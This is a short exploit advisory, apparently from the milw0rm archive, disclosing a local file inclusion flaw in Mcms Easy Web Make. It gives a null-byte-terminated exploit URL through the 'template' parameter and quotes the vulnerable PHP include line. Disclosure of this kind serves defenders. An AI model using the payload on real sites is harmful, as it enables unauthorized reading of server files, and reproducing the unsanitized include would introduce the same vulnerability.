--------------------------------------------------------------- ____ __________ __ ____ __ /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ | | | \ | |/ \ \___| | /_____/ | || | |___|___| /\__| /______ /\___ >__| |___||__| \/\______| \/ \/ --------------------------------------------------------------- Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org --------------------------------------------------------------- Local File Inclusion --------------------------------------------------------------- # Author: MhZ91 # Title: Mcms Easy Web Make - Local File Inclusion # Download: http://sourceforge.net/projects/easywebmake/ # Bug: Local File Inclusion # Visit: http://www.inj3ct-it.org --------------------------------------------------------------- Only If magic_quotes_gpc is Off Exploit: http://[site]/modules/cms/index.php?template=[LFI]%00 Vuln Code: include"includes/$template/template.config.php"; --------------------------------------------------------------- # milw0rm.com [2007-12-11]